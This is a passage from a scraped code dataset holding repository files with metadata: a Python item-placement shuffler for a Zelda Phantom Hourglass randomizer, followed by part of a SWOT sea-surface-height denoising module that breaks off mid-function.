natija})\n", "repo_name": "firdavsDev/Blog-startup", "sub_path": "tarjimon/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 418, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Lugat.objects.filter", "line_number": 11, "usage_type": "call"}, {"api_name": "models.Lugat.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "models.Lugat", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 15, "usage_type": "call"}]} {"seq_id": "17276352070", "text": "from __future__ import annotations\n\nfrom collections import defaultdict, deque\nfrom copy import deepcopy\nimport importlib\nimport logging\nfrom pathlib import Path\nimport random\nfrom typing import Self\n\nfrom ordered_set import OrderedSet\n\nfrom ph_rando.common import ShufflerAuxData\nfrom ph_rando.settings import ShufflerHook\nfrom ph_rando.shuffler._parser import (\n Edge,\n Node,\n annotate_logic,\n connect_mail_nodes,\n connect_rooms,\n connect_shop_nodes,\n parse_aux_data,\n)\nfrom ph_rando.shuffler.aux_models import Check, Item\n\nlogger = logging.getLogger(__name__)\n\nDUNGEON_REWARD_CHECKS: dict[str, str] = {\n 'BlaazBossRoom.Main.SpiritOfPower': 'PowerSpirit',\n 'CyclokBossRoom.Main.SpiritOfWisdom': 'WisdomSpirit',\n 'CraykBossRoom.Main.SpiritOfCourage': 'CourageSpirit',\n 'GoronTemple.CrimsonineRoom.Crimsonine': 'Crimsonine',\n 'IceTemple.AzurineRoom.Azurine': 'Azurine',\n 'MutohTemple.B4.Aquanine': 'Aquanine',\n}\n\nIMPORTANT_ITEMS: set[str] = {\n # Progression items\n 'Bombchus',\n 'Bombs',\n 'Boomerang',\n 'Bow',\n 'Cannon',\n 'CycloneSlate',\n 'FishingRod',\n 'GrapplingHook',\n 'Hammer',\n 'KingKey',\n 'GhostKey',\n 'ProgressiveSword',\n 'PhantomHourglass',\n 'RegalNecklace',\n 'SalvageArm',\n 'Shovel',\n 'SunKey',\n 'Shield',\n 'JolenesLetter',\n # Sea charts\n 'NESeaChart',\n 'NWSeaChart',\n 'SESeaChart',\n 'SWSeaChart',\n # Gems\n 'PowerGem',\n 'WisdomGem',\n 'CourageGem',\n # Trading quest items\n 'Kaleidoscope',\n 'WoodHeart',\n 'GuardNotebook',\n 'HeroNewClothes',\n # Treasure maps\n 'TreasureMapSW1',\n 'TreasureMapSW2',\n 'TreasureMapSW3',\n 'TreasureMapSW4',\n 'TreasureMapSW5',\n 'TreasureMapSW6',\n 'TreasureMapSW7',\n 'TreasureMapNW1',\n 'TreasureMapNW2',\n 'TreasureMapNW3',\n 'TreasureMapNW4',\n 'TreasureMapNW5',\n 'TreasureMapNW6',\n 'TreasureMapNW7',\n 'TreasureMapNW8',\n 'TreasureMapSE1',\n 'TreasureMapSE2',\n 'TreasureMapSE3',\n 'TreasureMapSE4',\n 'TreasureMapSE5',\n 'TreasureMapSE6',\n 'TreasureMapSE7',\n 'TreasureMapSE8',\n 'TreasureMapNE1',\n 'TreasureMapNE2',\n 'TreasureMapNE3',\n 'TreasureMapNE4',\n 'TreasureMapNE5',\n 'TreasureMapNE6',\n 'TreasureMapNE7',\n 'TreasureMapNE8',\n}\n\n\nclass AssumedFillFailed(Exception):\n pass\n\n\nclass Shuffler:\n settings: dict[str, str | list[str] | bool]\n aux_data: ShufflerAuxData\n starting_node: Node\n\n _checks_to_exclude: set[Check]\n\n def __init__(\n self: Self,\n seed: str,\n settings: dict[str, str | list[str] | bool],\n starting_node_name: str = 'Mercay.OutsideOshus.Outside',\n areas_directory: Path | None = None,\n enemy_mapping_file: Path | None = None,\n macros_file: Path | None = None,\n ) -> None:\n random.seed(seed)\n\n self.settings = settings\n\n self.aux_data = parse_aux_data(\n areas_directory=areas_directory,\n enemy_mapping_file=enemy_mapping_file,\n macros_file=macros_file,\n )\n self.aux_data.seed = seed\n\n self._checks_to_exclude: set[Check] = set()\n\n self._annotate_logic(logic_directory=areas_directory)\n self._connect_rooms()\n self._connect_mail_nodes()\n self._connect_shop_nodes()\n self._apply_settings()\n self._remove_unsupported_items()\n\n self.starting_node = [\n node\n for area in self.aux_data.areas\n for room in area.rooms\n for node in room.nodes\n if node.name == starting_node_name\n ][0]\n\n def _annotate_logic(self: Self, logic_directory: Path | None = None) -> None:\n return annotate_logic(areas=self.aux_data.areas, logic_directory=logic_directory)\n\n def _connect_rooms(self: Self) -> None:\n return connect_rooms(self.aux_data.areas)\n\n def _connect_mail_nodes(self: Self) -> None:\n return connect_mail_nodes(self.aux_data.areas)\n\n def _connect_shop_nodes(self: Self) -> None:\n return connect_shop_nodes(self.aux_data.areas)\n\n def _apply_settings(self) -> None:\n from ph_rando.common import RANDOMIZER_SETTINGS\n\n for setting_name, setting_value in self.settings.items():\n hook = RANDOMIZER_SETTINGS[setting_name].shuffler_hook\n if hook:\n fn: ShufflerHook = getattr(\n importlib.import_module('ph_rando.shuffler._settings'), hook\n )\n logger.debug(f'Setting \"{setting_name}\"...')\n fn(value=setting_value, shuffler=self)\n\n def _remove_unsupported_items(self: Self) -> None:\n \"\"\"Removes any items that cannot currently be patched from shuffle pool.\"\"\"\n # TODO: remove this function when all item types are supported.\n from ph_rando.shuffler.aux_models import (\n BossReward,\n Freestanding,\n Mail,\n MinigameRewardChest,\n OnEnemy,\n SpiritUpgrade,\n )\n\n unsupported_types = (\n Freestanding,\n OnEnemy,\n MinigameRewardChest,\n Mail,\n BossReward,\n SpiritUpgrade,\n )\n for area in self.aux_data.areas:\n for room in area.rooms:\n for check in room.chests:\n if check not in self._checks_to_exclude and type(check) in unsupported_types:\n logger.warning(\n f'Excluding \"{\".\".join([area.name, room.name, check.name])}\" from '\n f'shuffled item pool (item type \"{type(check).__name__}\" not '\n 'supported yet)'\n )\n self.exclude_check(check)\n\n def generate(self: Self) -> ShufflerAuxData:\n # Copy all items to a list and set all checks to null\n item_pool: list[Item] = []\n for area in self.aux_data.areas:\n for room in area.rooms:\n for check in room.chests:\n item = check.contents\n # print(check)\n # Append area name for keys, so that we know where we can place\n # it later on.\n if item.name == 'SmallKey':\n item.name += f'_{area.name}'\n\n if check not in self._checks_to_exclude:\n item_pool.append(item)\n check.contents = None # type: ignore\n\n while True:\n # Save shallow copy of original list so we can restart if the assumed fill fails\n backup_item_pool = item_pool.copy()\n\n random.shuffle(item_pool)\n\n try:\n self._place_dungeon_rewards(item_pool)\n self._place_boss_keys(item_pool)\n self._place_small_keys(item_pool)\n self._place_important_items(item_pool)\n self._place_rest_of_items(item_pool)\n break\n except AssumedFillFailed:\n logging.info('Assumed fill failed! Trying again...\\n')\n\n # Remove all items that were placed, and add them back to the item pool\n for area in self.aux_data.areas:\n for room in area.rooms:\n for check in room.chests:\n if check.contents is not None and check not in self._checks_to_exclude:\n check.contents = None # type: ignore\n item_pool = backup_item_pool\n continue\n\n return self.aux_data\n\n def _place_item(\n self: Self,\n item: Item,\n remaining_item_pool: list[Item],\n candidates: OrderedSet[Check] | None = None,\n use_logic: bool = True,\n ) -> None:\n \"\"\"\n Places the given item in a location. Set `use_logic` to False to ignore logic\n and place the item in a completely random empty location.\n \"\"\"\n reachable_null_checks: dict[Check, str] = {}\n\n if use_logic:\n # Figure out what nodes are accessible\n reachable_nodes = self.assumed_search(remaining_item_pool)\n\n for node in reachable_nodes:\n for check in node.checks:\n if candidates is not None and check not in candidates:\n continue\n if check.contents is None:\n reachable_null_checks[check] = node.name\n\n else:\n for area in self.aux_data.areas:\n for room in area.rooms:\n for node in room.nodes:\n for check in node.checks:\n if candidates is not None and check not in candidates:\n continue\n if check.contents is None:\n reachable_null_checks[check] = node.name\n\n locations = list(reachable_null_checks.keys())\n if len(locations) == 0:\n raise AssumedFillFailed()\n\n # Place the current item into a random location\n r = locations[random.randint(0, max(0, len(reachable_null_checks) - 1))]\n r.contents = item\n\n logger.info(f'Placed {item.name} at {reachable_null_checks[r]}')\n\n def _place_dungeon_rewards(self: Self, item_pool: list[Item]) -> None:\n logger.debug('Placing dungeon rewards...')\n dungeon_reward_pool = [\n item for item in item_pool if item.name in DUNGEON_REWARD_CHECKS.values()\n ]\n for item in dungeon_reward_pool:\n possible_checks: OrderedSet[Check] = OrderedSet(\n [\n check\n for area in self.aux_data.areas\n for room in area.rooms\n for node in room.nodes\n for check in node.checks\n if f'{node.area.name}.{node.room.name}.{check.name}' in DUNGEON_REWARD_CHECKS\n ]\n )\n self._place_item(item, item_pool, possible_checks, use_logic=False)\n for item in dungeon_reward_pool:\n item_pool.remove(item)\n\n def _place_boss_keys(self: Self, item_pool: list[Item]) -> None:\n \"\"\"Place all boss keys in `item_pool`.\"\"\"\n logger.debug('Placing boss keys...')\n key_pool = [item for item in item_pool if item.name.startswith('BossKey')]\n for item in key_pool:\n possible_checks: OrderedSet[Check] = OrderedSet(\n [\n check\n for area in self.aux_data.areas\n for room in area.rooms\n for node in room.nodes\n for check in node.checks\n if node.area.name == item.name[7:]\n ]\n )\n self._place_item(item, item_pool, possible_checks, use_logic=False)\n for item in key_pool:\n item_pool.remove(item)\n\n def _place_small_keys(self: Self, item_pool: list[Item]) -> None:\n \"\"\"Place all small keys in `item_pool`.\"\"\"\n logger.debug('Placing small keys...')\n key_pool = [item for item in item_pool if item.name.startswith('SmallKey_')]\n for item in key_pool:\n possible_checks: OrderedSet[Check] = OrderedSet(\n [\n check\n for area in self.aux_data.areas\n for room in area.rooms\n for node in room.nodes\n for check in node.checks\n if node.area.name == item.name[9:]\n ]\n )\n self._place_item(item, item_pool, possible_checks, use_logic=False)\n for item in key_pool:\n item_pool.remove(item)\n\n def _place_important_items(self: Self, item_pool: list[Item]) -> None:\n \"\"\"Place all \"important\" items in the given item_pool.\"\"\"\n logger.debug('Placing important items...')\n important_items = [item for item in item_pool if item.name in IMPORTANT_ITEMS]\n for item in important_items:\n self._place_item(item, item_pool)\n for item in important_items:\n item_pool.remove(item)\n\n def _place_rest_of_items(self: Self, item_pool: list[Item]) -> None:\n \"\"\"Place all items remaining in item_pool.\"\"\"\n logger.debug('Placing rest of items...')\n for item in item_pool:\n self._place_item(item, item_pool, use_logic=False)\n item_pool.clear()\n\n def exclude_check(self: Self, check: Check) -> None:\n logger.debug(f'Excluding check \"{check.name}\"')\n self._checks_to_exclude.add(check)\n\n def search(\n self: Self,\n items: list[Item],\n flags: set[str],\n states: set[str],\n ) -> OrderedSet[Node]:\n reachable_nodes: OrderedSet[Node] = OrderedSet()\n\n queue: deque[Node] = deque([self.starting_node])\n\n # Mapping to keep track of the state of `locks` (unlocked vs locked)\n locks: dict[str, bool] = {}\n\n visited_nodes: set[Node] = {self.starting_node}\n\n while len(queue) > 0:\n # Mapping to keep track of edges that contain an `open` descriptor, but are\n # otherwise traversable\n edges_with_locked_door: dict[str, list[Edge]] = defaultdict(list)\n while len(queue) > 0:\n r = queue.popleft()\n for edge in r.edges:\n target = edge.dest\n\n requirements_met = edge.is_traversable(\n [i.name for i in items],\n flags,\n states,\n self,\n )\n\n if requirements_met and target not in visited_nodes:\n if edge.locked_door:\n edges_with_locked_door[edge.src.area.name].append(edge)\n else:\n queue.append(target)\n visited_nodes.add(target)\n reachable_nodes.add(r)\n\n # Calculate key counts for each area\n keys: dict[str, int] = defaultdict(int)\n for item in items:\n if item.name.startswith('SmallKey_'):\n area_name = item.name[9:]\n keys[area_name] += 1\n\n # Record any newly-reachable locked doors\n for node in reachable_nodes:\n if not node.lock:\n continue\n full_lock_name = '.'.join([node.area.name, node.room.name, node.lock])\n if full_lock_name in locks:\n continue\n locks[full_lock_name] = False\n\n # Figure out which doors we can unlock, and mark\n # them as \"unlocked\" + update key counts\n for area_name, edges in edges_with_locked_door.items():\n doors_to_unlock = {e.locked_door for e in edges}\n if keys[area_name] >= len(doors_to_unlock):\n keys[area_name] -= len(doors_to_unlock)\n for door in doors_to_unlock:\n assert door is not None\n locks[door] = True\n\n for edges in edges_with_locked_door.values():\n for edge in edges:\n assert edge.locked_door is not None\n if locks.get(edge.locked_door):\n queue.append(edge.dest)\n visited_nodes.add(edge.dest)\n\n return reachable_nodes\n\n def assumed_search(self: Self, items: list[Item], area: str | None = None) -> OrderedSet[Node]:\n # Used to keep track of what checks/flags we've encountered\n completed_checks: set[Check] = set()\n\n flags: set[str] = set()\n items = deepcopy(items) # make copy of items so we don't mutate the original list\n states: set[str] = {state for item in items for state in item.states}\n\n while True:\n reachable_nodes = self.search(items, flags, states)\n if area is not None:\n reachable_nodes = OrderedSet(\n [node for node in reachable_nodes if node.area.name == area]\n )\n found_new_items = False\n\n for node in reachable_nodes:\n for check in node.checks:\n if check.contents and check not in completed_checks:\n item = check.contents\n # If this is a small key, append the area name to it\n # so that we can tell what dungeon it goes to.\n if item.name == 'SmallKey':\n item.name += f'_{node.area.name}'\n items.append(item)\n states.update(item.states)\n found_new_items = True\n completed_checks.add(check)\n for flag in node.flags:\n if flag not in flags:\n flags.add(flag)\n found_new_items = True\n for state in node.states_gained:\n states.add(state)\n for state in node.states_lost:\n if state in states:\n states.remove(state)\n\n if not found_new_items:\n break\n\n return reachable_nodes\n", "repo_name": "phst-randomizer/ph-randomizer", "sub_path": "ph_rando/shuffler/_shuffler.py", "file_name": "_shuffler.py", "file_ext": "py", "file_size_in_byte": 17414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 20, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "ph_rando.common.ShufflerAuxData", "line_number": 113, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 114, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 116, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 119, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 123, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 124, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 125, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 127, "usage_type": "call"}, {"api_name": "ph_rando.shuffler._parser.parse_aux_data", "line_number": 131, "usage_type": "call"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 155, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 155, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.annotate_logic", "line_number": 156, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 158, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.connect_rooms", "line_number": 159, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 161, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.connect_mail_nodes", "line_number": 162, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 164, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.connect_shop_nodes", "line_number": 165, "usage_type": "call"}, {"api_name": "ph_rando.common.RANDOMIZER_SETTINGS", "line_number": 171, "usage_type": "name"}, {"api_name": "ph_rando.settings.ShufflerHook", "line_number": 173, "usage_type": "name"}, {"api_name": "importlib.import_module", "line_number": 174, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 179, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Freestanding", "line_number": 192, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.OnEnemy", "line_number": 193, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.MinigameRewardChest", "line_number": 194, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Mail", "line_number": 195, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.BossReward", "line_number": 196, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.SpiritUpgrade", "line_number": 197, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 210, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 212, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 231, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 241, "usage_type": "call"}, {"api_name": "ph_rando.common.ShufflerAuxData", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 255, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 256, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 257, "usage_type": "name"}, {"api_name": "ordered_set.OrderedSet", "line_number": 258, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 258, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 265, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 293, "usage_type": "call"}, {"api_name": "typing.Self", "line_number": 298, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 298, "usage_type": "name"}, {"api_name": "ordered_set.OrderedSet", "line_number": 304, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 304, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 318, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 318, "usage_type": "name"}, {"api_name": "ordered_set.OrderedSet", "line_number": 323, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 323, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 337, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 337, "usage_type": "name"}, {"api_name": "ordered_set.OrderedSet", "line_number": 342, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 342, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 356, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 356, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 365, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 365, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 372, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 372, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 377, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 378, "usage_type": "name"}, {"api_name": "ordered_set.OrderedSet", "line_number": 382, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 382, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 384, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 384, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 389, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Edge", "line_number": 394, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 394, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 416, "usage_type": "call"}, {"api_name": "ordered_set.OrderedSet", "line_number": 381, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 381, "usage_type": "name"}, {"api_name": "typing.Self", "line_number": 450, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Item", "line_number": 450, "usage_type": "name"}, {"api_name": "ph_rando.shuffler.aux_models.Check", "line_number": 452, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 455, "usage_type": "call"}, {"api_name": "ordered_set.OrderedSet", "line_number": 461, "usage_type": "call"}, {"api_name": "ordered_set.OrderedSet", "line_number": 450, "usage_type": "name"}, {"api_name": "ph_rando.shuffler._parser.Node", "line_number": 450, "usage_type": "name"}]} {"seq_id": "28332997258", "text": "\"\"\"The SWOTdenoise module is a toolbox developed specifically in preparation of the SWOT mission. It provides a toolbox to remove small-scale noise from SWOT data. The main function is SWOTdenoise (same name as the module itself), and for standard applications, the user should not need to call other module functions. Optionally, other functions that can be directly useful are read_data (to read data from a Netcdf file) and fill_nadir_gap: this function fills the lon and lat arrays in the SWOT nadir gap, and introduces fill values in the SSH array. Look at dedicated helps.\n# AUTHORS:\nLaura Gomez Navarro (1,2), Emmanuel Cosme (1), Nicolas Papadakis (3)\n(1) CNRS/UGA/IRD/G-INP, IGE, Grenoble, France\n(2) IMEDEA (CSIC-UIB), Esporles, Spain\n(3) CNRS/Univ. Bordeaux/B-INP, IMB, Bordeaux, France\n# HISTORY:\n- March 2018: version 1\n- March 2018: version 2 \n# CHANGES in version 2: netcdf dimensions and variables now adapted from SWOT simulator version 2.3 to version 3.0\n\"\"\" \n\nimport numpy as np\nfrom netCDF4 import Dataset\nfrom scipy import ndimage as nd\nfrom scipy.interpolate import RectBivariateSpline\nfrom types import *\nimport sys\n\n\ndef read_data(filename, *args):\n \"\"\"Read arrays from netcdf file.\n \n Parameters:\n ----------\n filename: input file name\n *args: strings, variables to be read as named in the netcdf file.\n \n Returns:\n -------\n arrays. The number of output arrays must be identical to the number of variables.\n \"\"\"\n\n fid = Dataset(filename)\n output = []\n for entry in args:\n output.append( fid.variables[entry][:] )\n fid.close()\n return tuple(output)\n\n\ndef write_data(filename, ssh_d, lon_d, lat_d, x_ac_d, time_d):\n \"\"\"\n Write SSH in output file.\n \n Parameters:\n ----------\n filename: output filename\n ssh_d, lon_d, lat_d, x_ac_d, time_d: standard SWOT data arrays. See SWOTdenoise function.\n \n Returns:\n -------\n Outpur file name.\n \"\"\"\n\n # Output file name\n rootname = filename.split('.nc')[0]\n filenameout = rootname+'_denoised.nc'\n\n # Read variables (not used before) in input file\n x_al_r = read_data(filename, 'x_al')\n\n # Create output file\n fid = Dataset(filenameout, 'w', format='NETCDF4')\n fid.description = \"Filtered SWOT data\"\n fid.creator_name = \"SWOTdenoise module\" \n\n # Dimensions\n time = fid.createDimension('time', len(time_d))\n x_ac = fid.createDimension('nC', len(x_ac_d))\n\n # Create variables\n lat = fid.createVariable('lat', 'f8', ('time','nC'))\n lat.long_name = \"Latitude\" \n lat.units = \"degrees_north\"\n lat[:] = lat_d\n\n lon = fid.createVariable('lon', 'f8', ('time','nC'))\n lon.long_name = \"Longitude\" \n lon.units = \"degrees_east\"\n lon[:] = lon_d\n\n \"\"\"\n lon_nadir = fid.createVariable('lon_nadir', 'f8', ('time'))\n lon_nadir.long_name = \"longitude nadir\" \n lon_nadir.units = \"degrees_north\"\n lon_nadir = vlon_nadir\n lat_nadir = fid.createVariable('lat_nadir', 'f8', ('time'))\n lat_nadir.long_name = \"latitude nadir\" \n lat_nadir.units = \"degrees_north\"\n lat_nadir[:] = vlat_nadir\n \"\"\"\n\n vtime = fid.createVariable('time_sec', 'f8', ('time'))\n vtime.long_name = \"time from beginning of simulation (in s)\" \n vtime.units = \"s\"\n vtime[:] = time_d*86400 #days to seconds\n # to verify\n\n x_al = fid.createVariable('x_al', 'f8', ('time'))\n x_al.long_name = \"Along track distance from the beginning of the pass\" \n x_al.units = \"km\"\n x_al[:] = x_al_r\n\n vx_ac = fid.createVariable('x_ac', 'f8', ('nC'))\n vx_ac.long_name = \"Across track distance from nadir\" \n vx_ac.units = \"km\"\n vx_ac[:] = x_ac_d\n\n ssh = fid.createVariable('ssh_obs', 'f8', ('time','nC'))\n ssh.long_name = \"SSH denoised\" \n ssh.units = \"m\"\n ssh.fill_value = ssh_d.fill_value\n ssh[:] = ssh_d\n\n fid.close() # close the new file\n return filenameout\n\n\ndef copy_arrays(*args):\n \"\"\"numpy-copy arrays.\n \n Parameters:\n ----------\n *args: arrays to copy.\n \n Returns:\n -------\n arrays. The number of output arrays must be identical to the number of inputs.\n \"\"\"\n\n output = []\n for entry in args:\n #print entry\n output.append( entry.copy() )\n return tuple(output)\n\n\ndef fill_nadir_gap(ssh, lon, lat, x_ac, time, method = 'fill_value'):\n \"\"\"\n Fill the nadir gap in the middle of SWOT swath.\n Longitude and latitude are interpolated linearly. For SSH, there are two options:\n \n If the gap is already filled in the input arrays, it returns the input arrays.\n \n Parameters:\n ----------\n ssh, lon, lat, x_ac, time: input masked arrays from SWOT data. See SWOTdenoise function.\n method: method used to fill SSH array in the gap. Two options:\n - 'fill_value': the gap is filled with the fill value of SSH masked array;\n - 'interp': the gap is filled with a 2D, linear interpolation.\n \n Returns:\n -------\n ssh_f, lon_f, lat_f, x_ac_f: Filled SSH (masked), lon, lat 2D arrays, and across-track coordinates.\n \"\"\"\n\n # Extend x_ac, positions of SWOT pixels across-track\n nhsw = len(x_ac)/2 # number of pixels in half a swath\n step = abs(x_ac[nhsw+1]-x_ac[nhsw]) # x_ac step, constant\n ins = np.arange(x_ac[nhsw-1], x_ac[nhsw], step)[1:] # sequence to be inserted\n nins = len(ins) # length of inserted sequence\n if nins==0:\n return ssh, lon, lat, x_ac # if nadir gap already filled, return input arrays\n x_ac_f = np.insert(x_ac, nhsw, ins) # insertion\n\n # 2D arrays: lon, lat. Interpolation of regular grids.\n lon_f = RectBivariateSpline(time, x_ac, lon)(time, x_ac_f)\n lat_f = RectBivariateSpline(time, x_ac, lat)(time, x_ac_f)\n\n # SSH: interpolate or insert array of fill values, and preserve masked array characteristics\n if method == 'interp':\n ssh_f = np.ma.masked_values( RectBivariateSpline(time, x_ac, ssh)(time, x_ac_f), ssh.fill_value )\n else:\n ins_ssh = np.full( ( nins, len(time) ), ssh.fill_value, dtype='float32' )\n ssh_f = np.ma.masked_values( np.insert( ssh, nhsw, ins_ssh, axis=1 ), ssh.fill_value )\n\n return ssh_f, lon_f, lat_f, x_ac_f\n\n\ndef empty_nadir_gap(ssh_f, x_ac_f, ssh, x_ac):\n \"\"\"\n Remove entries of the nadir gap from ssh array.\n \n Parameters:\n ----------\n ssh_f: input 2D masked array of SSH data with filled gap\n x_ac_f: across-track coordinates of ssh_f\n ssh: 2D masked array of original SWOT SSH, with the gap\n x_ac: across-track coordinates of ssh\n \n Returns:\n -------\n 2D masked array is of the same shape as the initial SWOT array.\n \"\"\"\n\n ninter = len(x_ac_f)-len(x_ac)\n nx = ( np.shape(ssh_f)[1] - ninter ) / 2\n ssh_out = np.concatenate([ ssh_f.data[:,0:nx], ssh_f.data[:,-nx:] ], axis=1)\n ssh_out = np.ma.array(ssh_out, mask = ssh.mask, fill_value = ssh.fill_value)\n return ssh_out\n\n\ndef convolution_filter(ssh, param, method):\n \"\"\"\n Filter an image with a convolution of a generic function (Gaussian or boxcar).\n The input image can contain gaps (masked values).\n Gaps are filled with 0. An array of 1 is created with gaps set to 0. Both are filtered and divided. Inspired from\n http://stackoverflow.com/questions/18697532/gaussian-filtering-a-image-with-nan-in-python\n This function calls scipy.ndimage.\n \n Parameters:\n ----------\n ssh: 2D masked array to filter\n param: parameter for the method:\n - standard deviation for the Gaussian\n - box size for boxcar\n method: Gaussian or boxcar.\n \n Returns:\n -------\n 2D ndarray (not a masked array).\n \"\"\"\n\n assert np.ma.any(ssh.mask), 'u must be a masked array'\n mask = np.flatnonzero(ssh.mask) # where u is masked\n v = ssh.data.copy()\n v.flat[mask] = 0 # set masked values of data array to 0\n w = np.ones_like(ssh.data)\n w.flat[mask] = 0 # same with the '1' array\n\n if method == 'boxcar':\n param = int(param)\n v[:] = nd.generic_filter(v ,function=np.nanmean, size = param)\n w[:] = nd.generic_filter(w, function=np.nanmean, size = param)\n elif method == 'gaussian':\n v[:] = nd.gaussian_filter(v ,sigma = param)\n w[:] = nd.gaussian_filter(w, sigma = param)\n else:\n write_error_and_exit(2)\n\n w = np.clip( w, 1.e-8, 1.) # to avoid division by 0. resulting values will be masked anyway.\n\n return v/w\n\n\ndef gradx(I): \n \"\"\"\n Calculates the gradient in the x-direction of an image I and gives as output M.\n In order to keep the size of the initial image the last row is left as 0s.\n \"\"\"\n\n m, n = I.shape\n M = np.zeros([m,n])\n\n M[0:-1,:] = np.subtract(I[1::,:], I[0:-1,:])\n return M\n\n\ndef grady(I): \n \"\"\"\n Calculates the gradient in the y-direction of an image I and gives as output M.\n In order to keep the size of the initial image the last column is left as 0s.\n \"\"\"\n\n m, n = I.shape\n M = np.zeros([m,n])\n M[:,0:-1] = np.subtract(I[:,1::], I[:,0:-1])\n return M\n\n\ndef div(px, py): \n \"\"\"\n Calculates the divergence of a 2D field. \n For the specific application of image denoising, the calculation follows Chambolle (REF)\n ## BELOW, TO BE CLARIFIED\n The x component of M (Mx) first row is = to the first row of px.\n The x component of M (Mx) last row is = to - the before last row of px. (last one = 0)\n The y component of M (My) first column is = to the first column of py.\n The y component of M (My) last column is = to - the before last column of py. (last one = 0)\n ??#(de sorte que div=-(grad)^*)\n Parameters: two 2D ndarray\n Returns: 2D ndarray\n \"\"\"\n m, n = px.shape\n M = np.zeros([m,n])\n Mx = np.zeros([m,n])\n My = np.zeros([m,n])\n\n Mx[1:m-1, :] = px[1:m-1, :] - px[0:m-2, :]\n Mx[0, :] = px[0, :]\n Mx[m-1, :] = -px[m-2, :]\n\n My[:, 1:n-1] = py[:, 1:n-1] - py[:, 0:n-2]\n My[:, 0] = py[:,0]\n My[:, n-1] = -py[:, n-2]\n\n M = Mx + My;\n return M\n\n\ndef laplacian(u):\n \"\"\"\n Calculates laplacian using the divergence and gradient functions defined in the module.\n Parameter: 2D ndarray\n Returns: 2D ndarray\n \"\"\"\n Ml = div(gradx(u), grady(u));\n return Ml\n\n\ndef variational_regularization_filter(ssh, param, itermax=10000, epsilon=1.e-9):\n \"\"\"\n Apply variational regularization filter. \\n\n \n Parameters:\n ----------\n ssh: masked array with nadir gap filled.\n param: 3-entry tuple for first, second, and third order terms of the cost function, respectively.\n itermax: maximum number of iterations in the gradient descent method.\n epsilon: for convergence criterium.\n \n Returns:\n -------\n ssh_d: 2D ndarray containing denoised ssh data (ssh_d is not a masked array!)\n \"\"\"\n\n # Apply the Gaussian filter for preconditioning\n ssh_d 